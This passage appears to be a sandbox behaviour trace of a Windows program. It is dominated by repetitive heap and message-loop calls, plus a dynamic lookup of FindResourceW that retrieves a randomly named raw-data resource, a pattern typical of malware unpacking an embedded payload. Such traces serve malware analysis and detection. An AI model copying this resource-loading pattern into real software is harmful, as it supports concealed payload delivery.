dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.046] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.047] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0135.047] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0135.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0135.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindResourceW", cchWideChar=14, lpMultiByteStr=0x1077f90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindResourceW", lpUsedDefaultChar=0x0) returned 14 [0135.048] GetProcAddress (hModule=0x770a0000, lpProcName="FindResourceW") returned 0x770c2a40 [0135.050] FindResourceW (hModule=0x0, lpName="qhdokzqjbkdd", lpType=0xa) returned 0x3776b8 [0135.052] FreeLibrary (hLibModule=0x770a0000) returned 1 [0135.052] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ed0 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f90 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d68 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.053] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba700 [0135.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f18 [0135.053] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.053] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0135.054] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0135.054] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba700 | out: hHeap=0xe80000) returned 1 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0135.055] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.055] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba700 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ed0 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9a8 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ed0 | out: hHeap=0xe80000) returned 1 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2450 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cf0 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.055] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.055] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.055] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 [0135.056] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0135.056] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.056] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.056] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d20 [0135.056] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.056] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.056] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0135.056] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0135.057] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.057] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.057] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0135.057] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.057] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.057] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.057] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.057] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.057] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.057] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.057] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0135.057] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.059] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0135.101] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.101] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.101] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0135.101] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.101] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.101] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.101] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.102] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0135.102] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.103] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.103] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.103] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.103] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.103] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.103] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.103] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.103] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.103] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0135.103] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.104] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.104] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.104] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.104] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.104] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.104] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.104] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.104] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.104] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec510 [0135.105] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec510 | out: hHeap=0xe80000) returned 1 [0135.105] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0135.105] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.106] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0135.106] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.106] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.106] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.106] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0135.106] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7c8 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d08 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0135.106] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d98 [0135.106] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e70 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077de0 [0135.107] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f30 [0135.107] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e40 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cc0 [0135.107] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0135.107] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0135.107] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ed0 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0135.108] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0135.108] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f18 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9d8 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077fa8 [0135.108] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0135.108] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0135.108] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0135.108] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.108] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 